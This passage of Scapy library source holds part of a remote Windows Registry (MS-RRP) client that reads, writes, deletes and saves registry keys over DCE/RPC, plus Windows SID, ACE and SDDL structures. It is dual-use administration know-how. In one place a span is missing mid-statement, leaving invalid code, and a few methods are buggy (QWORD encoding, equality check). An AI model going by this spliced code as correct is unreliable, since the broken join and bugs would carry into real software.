HKEY_CURRENT_CONFIG = "HKCC" HKEY_USERS = "HKU" HKEY_PERFORMANCE_DATA = "HKPD" HKEY_PERFORMANCE_TEXT = "HKPT" HKEY_PERFORMANCE_NLSTEXT = "HKPN" def __new__(cls, value): # 1. Strip and uppercase the raw input normalized = value.strip().upper() # 2. Create the enum member with the normalized value obj = str.__new__(cls, normalized) obj._value_ = normalized return obj class RegOptions(IntFlag): """ Registry options for registry keys """ REG_OPTION_NON_VOLATILE = 0x00000000 REG_OPTION_VOLATILE = 0x00000001 REG_OPTION_CREATE_LINK = 0x00000002 REG_OPTION_BACKUP_RESTORE = 0x00000004 REG_OPTION_OPEN_LINK = 0x00000008 REG_OPTION_DONT_VIRTUALIZE = 0x00000010 class RegType(IntEnum): """ Registry value types """ # These constants are used to specify the type of a registry value. REG_SZ = 1 # Unicode string REG_EXPAND_SZ = 2 # Unicode string with environment variable expansion REG_BINARY = 3 # Binary data REG_DWORD = 4 # 32-bit unsigned integer REG_DWORD_BIG_ENDIAN = 5 # 32-bit unsigned integer in big-endian format REG_LINK = 6 # Symbolic link REG_MULTI_SZ = 7 # Multiple Unicode strings REG_QWORD = 11 # 64-bit unsigned integer UNK = 99999 # fallback default @classmethod def _missing_(cls, value): log_runtime.info(f"Unknown registry type: {value}, using UNK") unk = cls.UNK unk.real_value = value return unk def __new__(cls, value, real_value=None): obj = int.__new__(cls, value) obj._value_ = value if real_value is None: real_value = value obj.real_value = real_value return obj @classmethod def fromstr(cls, value: Union[str, int]) -> "RegType": """ Convert a string to a RegType enum member. :param value: The string representation of the registry type. :return: The corresponding RegType enum member. """ if isinstance(value, int): try: return cls(value) except ValueError: log_runtime.info(f"Unknown registry type: {value}, using UNK") return cls.UNK else: # we want to make sure that regdword, reg_dword, dword and upper # case equivalents are all properly parsed value = value.strip().upper() if "_" not in value: if value[:3] == "REG": value = value[3:] value = "REG_" + value.replace("REG", "", 1) try: return cls[value] except (ValueError, KeyError): log_runtime.info(f"Unknown registry type: {value}, using UNK") return cls.UNK class RegEntry: """ RegEntry represents a Registry Value, inside a Registry Key. :param reg_name: the name of the registry value :param reg_type: the type of the registry value :param reg_data: the data of the registry value """ def __init__( self, reg_name: str, reg_type: int, reg_data: Union[list, str, bytes, int], ): # Name self.reg_name = reg_name # Type try: self.reg_type = RegType(reg_type) except ValueError: self.reg_type = RegType.UNK # Check data type if reg_type == RegType.REG_MULTI_SZ: if not isinstance(reg_data, list): raise ValueError("Data must be a 'list' of 'str' for this type.") elif reg_type in [ RegType.REG_SZ, RegType.REG_EXPAND_SZ, RegType.REG_LINK, ]: if not isinstance(reg_data, str): raise ValueError("Data must be a 'str' for this type.") elif reg_type == RegType.REG_BINARY: if not isinstance(reg_data, bytes): raise ValueError("Data must be a 'bytes' for this type.") elif reg_type in [ RegType.REG_DWORD, RegType.REG_QWORD, RegType.REG_DWORD_BIG_ENDIAN, ]: if not isinstance(reg_data, int): raise ValueError("Data must be a 'int' for this type.") else: if not isinstance(reg_data, bytes): raise ValueError("Data of this unknown type must be a 'bytes'.") self.reg_data = reg_data def encode(self) -> bytes: """ Encode data based on the type. """ if self.reg_type == RegType.REG_MULTI_SZ: # encode to multiple null terminated strings return ( b"\x00\x00".join(x.strip().encode("utf-16le") for x in self.reg_data) + b"\x00\x00" # final \x00 + b"\x00\x00" # final empty string ) elif self.reg_type in [ RegType.REG_SZ, RegType.REG_EXPAND_SZ, RegType.REG_LINK, ]: return self.reg_data.encode("utf-16le") elif self.reg_type == RegType.REG_BINARY: return self.reg_data elif self.reg_type in [ RegType.REG_DWORD, RegType.REG_QWORD, RegType.REG_DWORD_BIG_ENDIAN, ]: fmt = { RegType.REG_DWORD: "I", }[self.reg_type] return struct.pack(fmt, self.reg_data) else: return self.reg_data @staticmethod def frombytes(reg_name: str, reg_type: RegType, data: bytes): """ Create a RegEntry from bytes read on the network. """ if reg_type == RegType.REG_MULTI_SZ: # encode to multiple null terminated strings reg_data = data.decode("utf-16le")[:-2].split("\x00") elif reg_type in [ RegType.REG_SZ, RegType.REG_EXPAND_SZ, RegType.REG_LINK, ]: reg_data = data.decode("utf-16le") elif reg_type == RegType.REG_BINARY: reg_data = data elif reg_type in [ RegType.REG_DWORD, RegType.REG_QWORD, RegType.REG_DWORD_BIG_ENDIAN, ]: fmt = { RegType.REG_DWORD: "I", }[reg_type] reg_data = struct.unpack(fmt, data)[0] else: reg_data = data return RegEntry( reg_name=reg_name, reg_type=reg_type, reg_data=reg_data, ) @staticmethod def fromstr(reg_name: str, reg_type: RegType, data: str): """ Create a RegEntry from user input. """ if reg_type == RegType.REG_MULTI_SZ: reg_data = data.split(";") elif reg_type in [ RegType.REG_SZ, RegType.REG_EXPAND_SZ, RegType.REG_LINK, ]: reg_data = data elif reg_type == RegType.REG_BINARY: reg_data = bytes.fromhex(data) elif reg_type in [ RegType.REG_DWORD, RegType.REG_QWORD, RegType.REG_DWORD_BIG_ENDIAN, ]: reg_data = int(data) else: reg_data = data return RegEntry( reg_name=reg_name, reg_type=reg_type, reg_data=reg_data, ) def __str__(self) -> str: return ( f"{self.reg_name} ({self.reg_type.name}: " + f"{self.reg_type.real_value if self.reg_type == RegType.UNK else self.reg_type.value}" # noqa E501 + f") {self.reg_data}" ) def __repr__(self) -> str: return f"RegEntry({self.reg_name}, {self.reg_type}, {self.reg_data})" def __eq__(self, value): return isinstance(value, RegEntry) and all( [ self.reg_data == value.reg_data, self.reg_type == value.reg_type, self.reg_data == value.reg_data, ] ) class RRP_Client(DCERPC_Client): """ High level [MS-RRP] (Windows Registry) Client """ def __init__( self, auth_level=DCE_C_AUTHN_LEVEL.PKT_INTEGRITY, verb=True, **kwargs, ): self.interface = find_dcerpc_interface("winreg") super(RRP_Client, self).__init__( DCERPC_Transport.NCACN_NP, auth_level=auth_level, verb=verb, **kwargs, ) def connect(self, host, **kwargs): """ This calls DCERPC_Client's connect """ super(RRP_Client, self).connect( host=host, interface=self.interface, endpoint="winreg", **kwargs, ) def bind(self): """ This calls DCERPC_Client's bind """ super(RRP_Client, self).bind(self.interface) def get_root_key_handle( self, root_key_name: RootKeys, sam_desired: int = 0x2000000, # Maximum Allowed timeout: int = 5, ) -> Optional[NDRContextHandle]: """ Get a handle to a root key. :param root_key_name: The name of the root key to open. Must be one of the RootKeys enum values. :param sam_desired: The desired access rights for the key. :param ServerName: The server name. The ServerName SHOULD be sent as NULL, and MUST be ignored when it is received because binding to the server is already complete at this stage :return: The handle to the opened root key. """ cls_req = { RootKeys.HKEY_CLASSES_ROOT: OpenClassesRoot_Request, RootKeys.HKEY_CURRENT_USER: OpenCurrentUser_Request, RootKeys.HKEY_LOCAL_MACHINE: OpenLocalMachine_Request, RootKeys.HKEY_USERS: OpenUsers_Request, RootKeys.HKEY_CURRENT_CONFIG: OpenCurrentConfig_Request, RootKeys.HKEY_PERFORMANCE_DATA: OpenPerformanceData_Request, RootKeys.HKEY_PERFORMANCE_TEXT: OpenPerformanceText_Request, RootKeys.HKEY_PERFORMANCE_NLSTEXT: OpenPerformanceNlsText_Request, } if root_key_name not in cls_req: raise ValueError(f"Unknown root key: {root_key_name}") return self.sr1_req( cls_req[root_key_name]( ServerName=None, samDesired=sam_desired, ), timeout=timeout, ).phKey def get_subkey_handle( self, root_key_handle: NDRContextHandle, subkey_path: str, desired_access_rights: int = 0x2000000, # Maximum Allowed options: RegOptions = RegOptions.REG_OPTION_NON_VOLATILE, timeout: int = 5, ) -> NDRContextHandle: """ Get a handle to a subkey. :param root_key_handle: The handle to the root key. :param subkey_path: The name of the subkey to open. :param desired_access_rights: The desired access rights for the subkey. :param timeout: The timeout for the request. :return: The handle to the opened subkey. """ # Ensure it is null-terminated and handle the special case of "." if str(subkey_path) == ".": subkey_path = "\x00" elif not str(subkey_path).endswith("\x00"): subkey_path = str(subkey_path) + "\x00" response = self.sr1_req( BaseRegOpenKey_Request( hKey=root_key_handle, lpSubKey=RPC_UNICODE_STRING(Buffer=subkey_path), samDesired=desired_access_rights, dwOptions=options, ), timeout=timeout, ) if response.status != 0: raise ValueError(response.status) return response.phkResult def get_version( self, key_handle: NDRContextHandle, timeout: int = 5, ) -> Packet: """ Get the version of the registry server. :param client: The DCERPC client. :param timeout: The timeout for the request. :return: The response packet containing the version information. """ response = self.sr1_req( BaseRegGetVersion_Request( hKey=key_handle, ), timeout=timeout, ) if response.status != 0: log_runtime.error( "Got status %s while getting version", hex(response.status) ) return response def get_key_info( self, key_handle: NDRContextHandle, timeout: int = 5, ) -> BaseRegQueryInfoKey_Response: """ Get information about a given registry key. :param hKey: The handle to the registry key (root key or subkey). :param timeout: The timeout for the request. :return: The response packet containing the key information. """ response = self.sr1_req( BaseRegQueryInfoKey_Request( hKey=key_handle, lpClassIn=RPC_UNICODE_STRING(), ), timeout=timeout, ) if response.status != 0: log_runtime.error( "Got status %s while querying key info", hex(response.status) ) raise ValueError(response.status) return response def get_key_security( self, key_handle: NDRContextHandle, security_information: int = None, timeout: int = 5, ) -> SECURITY_DESCRIPTOR: """ Get the security descriptor of a given registry key. :param hKey: The handle to the registry key (root key or subkey). :param security_information: The security information to retrieve. :param timeout: The timeout for the request. :return: The response packet containing the security descriptor. """ if security_information is None: security_information = ( 0x00000001 # OWNER_SECURITY_INFORMATION | 0x00000002 # GROUP_SECURITY_INFORMATION | 0x00000004 # DACL_SECURITY_INFORMATION ) # Build initial request req = BaseRegGetKeySecurity_Request( hKey=key_handle, SecurityInformation=security_information, pRpcSecurityDescriptorIn=PRPC_SECURITY_DESCRIPTOR( cbInSecurityDescriptor=512, # Initial size of the buffer ), ) # Send request response = self.sr1_req(req, timeout=timeout) if response.status == 0x0000007A: # ERROR_INSUFFICIENT_BUFFER # The buffer was too small, we need to retry with a larger one req.pRpcSecurityDescriptorIn.cbInSecurityDescriptor = ( response.pRpcSecurityDescriptorOut.cbInSecurityDescriptor ) response = self.sr1_req(req, timeout=timeout) # Check the response status if response.status != 0: log_runtime.error( "Got status %s while getting security", hex(response.status) ) return None return SECURITY_DESCRIPTOR( response.pRpcSecurityDescriptorOut.valueof("lpSecurityDescriptor") ) def enum_subkeys( self, key_handle: NDRContextHandle, timeout: int = 5, ) -> List[str]: """ Enumerate subkeys of a given registry key. :param hKey: The handle to the registry key (root key or subkey). :param timeout: The timeout for the request. :return: A generator yielding the responses for each enumerated subkey. """ index = 0 results = [] while True: response = self.sr1_req( BaseRegEnumKey_Request( hKey=key_handle, dwIndex=index, lpNameIn=RPC_UNICODE_STRING(MaximumLength=1024), lpClassIn=RPC_UNICODE_STRING(), lpftLastWriteTime=None, ), timeout=timeout, ) # Send request if response.status == 0x00000103: # ERROR_NO_MORE_ITEMS break # Check the response status elif response.status != 0: raise ValueError(response.status) index += 1 results.append(response.lpNameOut.valueof("Buffer")[:-1].decode()) return results def enum_values( self, key_handle: NDRContextHandle, timeout: int = 5, ) -> List[RegEntry]: """ Enumerate values of a given registry key. :param hKey: The handle to the registry key (root key or subkey). :param timeout: The timeout for the request. :return: A generator yielding the responses for each enumerated value. """ index = 0 results = [] while True: # Get the name and value at index `index` response = self.sr1_req( BaseRegEnumValue_Request( hKey=key_handle, dwIndex=index, lpValueNameIn=RPC_UNICODE_STRING( MaximumLength=2048, Buffer=NDRPointer( value=NDRConformantArray( max_count=1024, value=NDRVaryingArray(value=b"") ) ), ), lpType=0, # pointer to type, set to 0 for query lpData=None, # pointer to buffer lpcbData=0, # pointer to buffer size lpcbLen=0, # pointer to length ), timeout=timeout, ) if response.status == 0x00000103: # ERROR_NO_MORE_ITEMS break elif response.status != 0: raise ValueError(response.status) # Get the value name lpValueName = response.valueof("lpValueNameOut") # Get value content req = BaseRegQueryValue_Request( hKey=key_handle, lpValueName=lpValueName, lpType=0, lpcbData=1024, lpcbLen=0, lpData=NDRPointer( value=NDRConformantArray( max_count=1024, value=NDRVaryingArray(actual_count=0, value=b""), ) ), ) # Send request response = self.sr1_req(req, timeout=timeout) if response.status == 0x000000EA: # ERROR_MORE_DATA # The buffer was too small, we need to retry with a larger one req.lpcbData = response.lpcbData req.lpData.value.max_count = response.lpcbData.value response = self.sr1_req(req, timeout=timeout) # Check the response status elif response.status != 0: raise ValueError(response.status) index += 1 results.append( RegEntry.frombytes( lpValueName.valueof("Buffer")[:-1].decode(), response.valueof("lpType"), response.valueof("lpData"), ) ) return results def get_value( self, key_handle: NDRContextHandle, value_name: str, timeout: int = 5, ) -> RegEntry: """ Get the value of a given registry key. :param hKey: The handle to the registry key (root key or subkey). :param value_name: The name of the value to retrieve. :param timeout: The timeout for the request. :return: The response packet containing the value data. """ pkt = BaseRegQueryValue_Request( hKey=key_handle, lpValueName=value_name, lpType=0, lpcbData=1024, lpcbLen=0, lpData=NDRPointer( value=NDRConformantArray( max_count=1024, value=NDRVaryingArray(actual_count=0, value=b"") ) ), ) response = self.sr1_req(pkt, timeout=timeout) if response.status == 0x000000EA: # ERROR_MORE_DATA # The buffer was too small, we need to retry with a larger one pkt.lpcbData = response.lpcbData pkt.lpData.value.max_count = response.lpcbData.value response = self.sr1_req(pkt, timeout=timeout) if response.status != 0: raise ValueError(response.status) return RegEntry.frombytes( value_name, response.valueof("lpType"), response.valueof("lpData"), ) def save_subkey( self, key_handle: NDRContextHandle, file_path: str, security_attributes: PRPC_SECURITY_ATTRIBUTES = None, timeout: int = 5, ) -> None: """ Save a given registry key to a file. :param hKey: The handle to the registry key (root key or subkey). :param file_path: The path to the file where the key will be saved. Default path is %WINDIR%\\System32, which is readable by all users. :param security_attributes: Security attributes for the saved key. :param timeout: The timeout for the request. """ response = self.sr1_req( BaseRegSaveKey_Request( hKey=key_handle, lpFile=RPC_UNICODE_STRING(Buffer=file_path), pSecurityAttributes=security_attributes, ), timeout=timeout, ) if response.status != 0: raise ValueError(response.status) def set_value( self, key_handle: NDRContextHandle, entry: RegEntry, timeout: int = 5, ) -> None: """ Set a given value for a registry key. :param hKey: The handle to the registry key (root key or subkey). :param entry: The 'RegEntry' entry to set, containing the name, type and data of the value. :param timeout: The timeout for the request. """ data = entry.encode() response = self.sr1_req( BaseRegSetValue_Request( hKey=key_handle, lpValueName=RPC_UNICODE_STRING( Buffer=entry.reg_name.encode("utf-8") + b"\x00" ), dwType=entry.reg_type.value, cbData=len(data), lpData=data, ), timeout=timeout, ) if response.status != 0: raise ValueError(response.status) def create_subkey( self, root_key_handle: NDRContextHandle, subkey_path: str, desired_access_rights: int = 0x2000000, # Maximum allowed options: RegOptions = RegOptions.REG_OPTION_NON_VOLATILE, security_attributes: PRPC_SECURITY_ATTRIBUTES = None, timeout: int = 5, ) -> NDRContextHandle: """ Create a given subkey under a registry key. :param client: The DCERPC client. :param root_key_handle: The handle to the root key. :param subkey_path: The name of the subkey to create. :param desired_access_rights: The desired access rights for the subkey. :param options: The options for the subkey. :param security_attributes: Security attributes for the created key. :param timeout: The timeout for the request. :return: The handle to the created subkey. """ if not str(subkey_path).endswith("\x00"): subkey_path = str(subkey_path) + "\x00" response = self.sr1_req( BaseRegCreateKey_Request( hKey=root_key_handle, lpSubKey=RPC_UNICODE_STRING(Buffer=subkey_path), samDesired=desired_access_rights, dwOptions=options, lpSecurityAttributes=security_attributes, ), timeout=timeout, ) if response.status != 0: raise ValueError(response.status) return response.phkResult def delete_subkey( self, root_key_handle: NDRContextHandle, subkey_path: str, timeout: int = 5, ) -> None: """ Delete a given subkey from a registry key. :param client: The DCERPC client. :param hKey: The handle to the root key. :param subkey_path: The name of the subkey to remove. :param timeout: The timeout for the request. """ if not str(subkey_path).endswith("\x00"): subkey_path = str(subkey_path) + "\x00" response = self.sr1_req( BaseRegDeleteKey_Request( hKey=root_key_handle, lpSubKey=RPC_UNICODE_STRING(Buffer=subkey_path), ), timeout=timeout, ) if response.status != 0: raise ValueError(response.status) def delete_value( self, key_handle: NDRContextHandle, value_name: str, timeout: int = 5, ) -> None: """ Delete a given value from a registry key. :param client: The DCERPC client. :param hKey: The handle to the subkey to remove. :param value_name: The name of the value to delete. :param timeout: The timeout for the request. """ if not str(value_name).endswith("\x00"): value_name = str(value_name) + "\x00" response = self.sr1_req( BaseRegDeleteValue_Request( hKey=key_handle, lpValueName=RPC_UNICODE_STRING(Buffer=value_name), ), timeout=timeout, ) if response.status != 0: raise ValueError(response.status) def close_key( self, key_handle: NDRContextHandle, timeout: int = 5, ) -> None: """ Close a given registry key handle. :param client: The DCERPC client. :param hKey: The handle to the registry key (root key or subkey). :param timeout: The timeout for the request. """ response = self.sr1_req( BaseRegCloseKey_Request( hKey=key_handle, ), timeout=timeout, ) if response.status != 0: raise ValueError(response.status) ================================================ FILE: scapy/layers/windows/security.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Python objects for Microsoft Windows security structures. """ import re import struct from scapy.config import conf from scapy.packet import Packet, bind_layers from scapy.fields import ( ByteEnumField, ByteField, ConditionalField, FieldLenField, FieldListField, FlagsField, FlagValue, LEIntField, LELongField, LenField, LEShortEnumField, LEShortField, MultipleTypeField, PacketField, PacketListField, ShortField, StrFieldUtf16, StrFixedLenField, StrLenField, StrLenFieldUtf16, UUIDField, ) from scapy.layers.ntlm import ( _NTLM_ENUM, _NTLM_post_build, _NTLMPayloadField, _NTLMPayloadPacket, ) # [MS-DTYP] sect 2.4.1 class WINNT_SID_IDENTIFIER_AUTHORITY(Packet): fields_desc = [ StrFixedLenField("Value", b"\x00\x00\x00\x00\x00\x01", length=6), ] def default_payload_class(self, payload: bytes) -> Packet: return conf.padding_layer # [MS-DTYP] sect 2.4.2 class WINNT_SID(Packet): fields_desc = [ ByteField("Revision", 1), FieldLenField("SubAuthorityCount", None, count_of="SubAuthority", fmt="B"), PacketField( "IdentifierAuthority", WINNT_SID_IDENTIFIER_AUTHORITY(), WINNT_SID_IDENTIFIER_AUTHORITY, ), FieldListField( "SubAuthority", [0], LEIntField("", 0), count_from=lambda pkt: pkt.SubAuthorityCount, ), ] def default_payload_class(self, payload: bytes) -> Packet: return conf.padding_layer _SID_REG = re.compile(r"^S-(\d)-(\d+)((?:-\d+)*)$") @staticmethod def fromstr(x: str): """ Helper to create a SID from its string representation. :param x: string representation of the SID like "S-1-5-18" :type x: str Example: >>> from scapy.layers.windows.security import WINNT_SID >>> WINNT_SID.fromstr("S-1-5-18") SubAuthority=[18] |> >>> _.summary() >>> 'S-1-5-18' """ m = WINNT_SID._SID_REG.match(x) if not m: raise ValueError("Invalid SID format !") rev, authority, subauthority = m.groups() return WINNT_SID( Revision=int(rev), IdentifierAuthority=WINNT_SID_IDENTIFIER_AUTHORITY( Value=struct.pack(">Q", int(authority))[2:] ), SubAuthority=[int(x) for x in subauthority[1:].split("-")], ) def summary(self) -> str: """ Return the string representation of the SID. """ return "S-%s-%s%s" % ( self.Revision, struct.unpack(">Q", b"\x00\x00" + self.IdentifierAuthority.Value)[0], ( ("-%s" % "-".join(str(x) for x in self.SubAuthority)) if self.SubAuthority else "" ), ) # https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers WELL_KNOWN_SIDS = { # Universal well-known SID "S-1-0-0": "Null SID", "S-1-1-0": "Everyone", "S-1-2-0": "Local", "S-1-2-1": "Console Logon", "S-1-3-0": "Creator Owner ID", "S-1-3-1": "Creator Group ID", "S-1-3-2": "Owner Server", "S-1-3-3": "Group Server", "S-1-3-4": "Owner Rights", "S-1-4": "Non-unique Authority", "S-1-5": "NT Authority", "S-1-5-80-0": "All Services", # NT well-known SIDs "S-1-5-1": "Dialup", "S-1-5-113": "Local account", "S-1-5-114": "Local account and member of Administrators group", "S-1-5-2": "Network", "S-1-5-3": "Batch", "S-1-5-4": "Interactive", "S-1-5-6": "Service", "S-1-5-7": "Anonymous Logon", "S-1-5-8": "Proxy", "S-1-5-9": "Enterprise Domain Controllers", "S-1-5-10": "Self", "S-1-5-11": "Authenticated Users", "S-1-5-12": "Restricted Code", "S-1-5-13": "Terminal Server User", "S-1-5-14": "Remote Interactive Logon", "S-1-5-15": "This Organization", "S-1-5-17": "IUSR", "S-1-5-18": "System (or LocalSystem)", "S-1-5-19": "NT Authority (LocalService)", "S-1-5-20": "Network Service", "S-1-5-32-544": "Administrators", "S-1-5-32-545": "Users", "S-1-5-32-546": "Guests", "S-1-5-32-547": "Power Users", "S-1-5-32-548": "Account Operators", "S-1-5-32-549": "Server Operators", "S-1-5-32-550": "Print Operators", "S-1-5-32-551": "Backup Operators", "S-1-5-32-552": "Replicators", "S-1-5-32-554": r"Builtin\Pre-Windows 2000 Compatible Access", "S-1-5-32-555": r"Builtin\Remote Desktop Users", "S-1-5-32-556": r"Builtin\Network Configuration Operators", "S-1-5-32-557": r"Builtin\Incoming Forest Trust Builders", "S-1-5-32-558": r"Builtin\Performance Monitor Users", "S-1-5-32-559": r"Builtin\Performance Log Users", "S-1-5-32-560": r"Builtin\Windows Authorization Access Group", "S-1-5-32-561": r"Builtin\Terminal Server License Servers", "S-1-5-32-562": r"Builtin\Distributed COM Users", "S-1-5-32-568": r"Builtin\IIS_IUSRS", "S-1-5-32-569": r"Builtin\Cryptographic Operators", "S-1-5-32-573": r"Builtin\Event Log Readers", "S-1-5-32-574": r"Builtin\Certificate Service DCOM Access", "S-1-5-32-575": r"Builtin\RDS Remote Access Servers", "S-1-5-32-576": r"Builtin\RDS Endpoint Servers", "S-1-5-32-577": r"Builtin\RDS Management Servers", "S-1-5-32-578": r"Builtin\Hyper-V Administrators", "S-1-5-32-579": r"Builtin\Access Control Assistance Operators", "S-1-5-32-580": r"Builtin\Remote Management Users", "S-1-5-32-581": r"Builtin\Default Account", "S-1-5-32-582": r"Builtin\Storage Replica Admins", "S-1-5-32-583": r"Builtin\Device Owners", "S-1-5-64-10": "NTLM Authentication", "S-1-5-64-14": "SChannel Authentication", "S-1-5-64-21": "Digest Authentication", "S-1-5-80": "NT Service", "S-1-5-80-0": "All Services", "S-1-5-83-0": r"NT VIRTUAL MACHINE\Virtual Machines", } # [MS-DTYP] sect 2.4.3 _WINNT_ACCESS_MASK = { 0x80000000: "GENERIC_READ", 0x40000000: "GENERIC_WRITE", 0x20000000: "GENERIC_EXECUTE", 0x10000000: "GENERIC_ALL", 0x02000000: "MAXIMUM_ALLOWED", 0x01000000: "ACCESS_SYSTEM_SECURITY", 0x00100000: "SYNCHRONIZE", 0x00080000: "WRITE_OWNER", 0x00040000: "WRITE_DACL", 0x00020000: "READ_CONTROL", 0x00010000: "DELETE", } # [MS-DTYP] sect 2.4.4.1 WINNT_ACE_FLAGS = { 0x01: "OBJECT_INHERIT", 0x02: "CONTAINER_INHERIT", 0x04: "NO_PROPAGATE_INHERIT", 0x08: "INHERIT_ONLY", 0x10: "INHERITED_ACE", 0x40: "SUCCESSFUL_ACCESS", 0x80: "FAILED_ACCESS", } class WINNT_ACE_HEADER(Packet): """ Access Control Entry (ACE) Header It is composed of 3 fields, followed by ACE-specific data: - AceType (1 byte): see below for standard values - AceFlags (1 byte): see WINNT_ACE_FLAGS - AceSize (2 bytes): total size of the ACE, including the header and the ACE-specific data. """ fields_desc = [ ByteEnumField( "AceType", 0, { 0x00: "ACCESS_ALLOWED", 0x01: "ACCESS_DENIED", 0x02: "SYSTEM_AUDIT", 0x03: "SYSTEM_ALARM", 0x04: "ACCESS_ALLOWED_COMPOUND", 0x05: "ACCESS_ALLOWED_OBJECT", 0x06: "ACCESS_DENIED_OBJECT", 0x07: "SYSTEM_AUDIT_OBJECT", 0x08: "SYSTEM_ALARM_OBJECT", 0x09: "ACCESS_ALLOWED_CALLBACK", 0x0A: "ACCESS_DENIED_CALLBACK", 0x0B: "ACCESS_ALLOWED_CALLBACK_OBJECT", 0x0C: "ACCESS_DENIED_CALLBACK_OBJECT", 0x0D: "SYSTEM_AUDIT_CALLBACK", 0x0E: "SYSTEM_ALARM_CALLBACK", 0x0F: "SYSTEM_AUDIT_CALLBACK_OBJECT", 0x10: "SYSTEM_ALARM_CALLBACK_OBJECT", 0x11: "SYSTEM_MANDATORY_LABEL", 0x12: "SYSTEM_RESOURCE_ATTRIBUTE", 0x13: "SYSTEM_SCOPED_POLICY_ID", }, ), FlagsField( "AceFlags", 0, 8, WINNT_ACE_FLAGS, ), LenField("AceSize", None, fmt=" conditional expression cond_expr = None if hasattr(self.payload, "ApplicationData"): # Parse tokens res = [] for ct in self.payload.ApplicationData.Tokens: if ct.TokenType in [ # binary operators 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x88, 0x8e, 0x8f, 0xa0, 0xa1 ]: t1 = res.pop(-1) t0 = res.pop(-1) tt = ct.sprintf("%TokenType%") if ct.TokenType in [0xa0, 0xa1]: # && and || res.append(f"({t0}) {tt} ({t1})") else: res.append(f"{t0} {tt} {t1}") elif ct.TokenType in [ # unary operators 0x87, 0x8d, 0xa2, 0x89, 0x8a, 0x8b, 0x8c, 0x91, 0x92, 0x93 ]: t0 = res.pop(-1) tt = ct.sprintf("%TokenType%") res.append(f"{tt}{t0}") elif ct.TokenType in [ # values 0x01, 0x02, 0x03, 0x04, 0x10, 0x18, 0x50, 0x51, 0xf8, 0xf9, 0xfa, 0xfb ]: def lit(ct): if ct.TokenType in [0x10, 0x18]: # literal strings return '"%s"' % ct.value elif ct.TokenType == 0x50: # composite return "({%s})" % ",".join(lit(x) for x in ct.value) else: return str(ct.value) res.append(lit(ct)) elif ct.TokenType == 0x00: # padding pass else: raise ValueError("Unhandled token type %s" % ct.TokenType) if len(res) != 1: raise ValueError("Incomplete SDDL !") cond_expr = "(%s)" % res[0] return { "ace-flags-string": ace_flag_string, "sid-string": sid_string, "mask": mask, "object-guid": object_guid, "inherited-object-guid": inherit_object_guid, "cond-expr": cond_expr, } # fmt: on def toSDDL(self, accessMask=None): """ Return SDDL """ data = self.extractData(accessMask=accessMask) ace_rights = "" # TODO if self.AceType in [0x9, 0xA, 0xB, 0xD]: # Conditional ACE conditional_ace_type = { 0x09: "XA", 0x0A: "XD", 0x0B: "XU", 0x0D: "ZA", }[self.AceType] return "D:(%s)" % ( ";".join( x for x in [ conditional_ace_type, data["ace-flags-string"], ace_rights, str(data["object-guid"]), str(data["inherited-object-guid"]), data["sid-string"], data["cond-expr"], ] if x is not None ) ) else: ace_type = { 0x00: "A", 0x01: "D", 0x02: "AU", 0x05: "OA", 0x06: "OD", 0x07: "OU", 0x11: "ML", 0x13: "SP", }[self.AceType] return "(%s)" % ( ";".join( x for x in [ ace_type, data["ace-flags-string"], ace_rights, str(data["object-guid"]), str(data["inherited-object-guid"]), data["sid-string"], data["cond-expr"], ] if x is not None ) ) # [MS-DTYP] sect 2.4.4.2 class WINNT_ACCESS_ALLOWED_ACE(Packet): fields_desc = [ FlagsField("Mask", 0, -32, _WINNT_ACCESS_MASK), PacketField("Sid", WINNT_SID(), WINNT_SID), ] bind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_ALLOWED_ACE, AceType=0x00) # [MS-DTYP] sect 2.4.4.3 class WINNT_ACCESS_ALLOWED_OBJECT_ACE(Packet): fields_desc = [ FlagsField("Mask", 0, -32, _WINNT_ACCESS_MASK), FlagsField( "Flags", 0, -32, { 0x00000001: "OBJECT_TYPE_PRESENT", 0x00000002: "INHERITED_OBJECT_TYPE_PRESENT", }, ), ConditionalField( UUIDField("ObjectType", None, uuid_fmt=UUIDField.FORMAT_LE), lambda pkt: pkt.Flags.OBJECT_TYPE_PRESENT, ), ConditionalField( UUIDField("InheritedObjectType", None, uuid_fmt=UUIDField.FORMAT_LE), lambda pkt: pkt.Flags.INHERITED_OBJECT_TYPE_PRESENT, ), PacketField("Sid", WINNT_SID(), WINNT_SID), ] bind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_ALLOWED_OBJECT_ACE, AceType=0x05) # [MS-DTYP] sect 2.4.4.4 class WINNT_ACCESS_DENIED_ACE(Packet): fields_desc = WINNT_ACCESS_ALLOWED_ACE.fields_desc bind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_DENIED_ACE, AceType=0x01) # [MS-DTYP] sect 2.4.4.5 class WINNT_ACCESS_DENIED_OBJECT_ACE(Packet): fields_desc = WINNT_ACCESS_ALLOWED_OBJECT_ACE.fields_desc bind_layers(WINNT_ACE_HEADER, WINNT_ACCESS_DENIED_OBJECT_ACE, AceType=0x06) # [MS-DTYP] sect 2.4.4.17.4+ class WINNT_APPLICATION_DATA_LITERAL_TOKEN(Packet): def default_payload_class(self, payload): return conf.padding_layer # fmt: off WINNT_APPLICATION_DATA_LITERAL_TOKEN.fields_desc = [ ByteEnumField( "TokenType", 0, { # [MS-DTYP] sect 2.4.4.17.5 0x00: "Padding token", 0x01: "Signed int8", 0x02: "Signed int16", 0x03: "Signed int32", 0x04: "Signed int64", 0x10: "Unicode", 0x18: "Octet String", 0x50: "Composite", 0x51: "SID", # [MS-DTYP] sect 2.4.4.17.6 0x80: "==", 0x81: "!=", 0x82: "<", 0x83: "<=", 0x84: ">", 0x85: ">=", 0x86: "Contains", 0x88: "Any_of", 0x8e: "Not_Contains", 0x8f: "Not_Any_of", 0x89: "Member_of", 0x8a: "Device_Member_of", 0x8b: "Member_of_Any", 0x8c: "Device_Member_of_Any", 0x90: "Not_Member_of", 0x91: "Not_Device_Member_of", 0x92: "Not_Member_of_Any", 0x93: "Not_Device_Member_of_Any", # [MS-DTYP] sect 2.4.4.17.7 0x87: "Exists", 0x8d: "Not_Exists", 0xa0: "&&", 0xa1: "||", 0xa2: "!", # [MS-DTYP] sect 2.4.4.17.8 0xf8: "Local attribute", 0xf9: "User Attribute", 0xfa: "Resource Attribute", 0xfb: "Device Attribute", } ), ConditionalField( # Strings LEIntField("length", 0), lambda pkt: pkt.TokenType in [ 0x10, # Unicode string 0x18, # 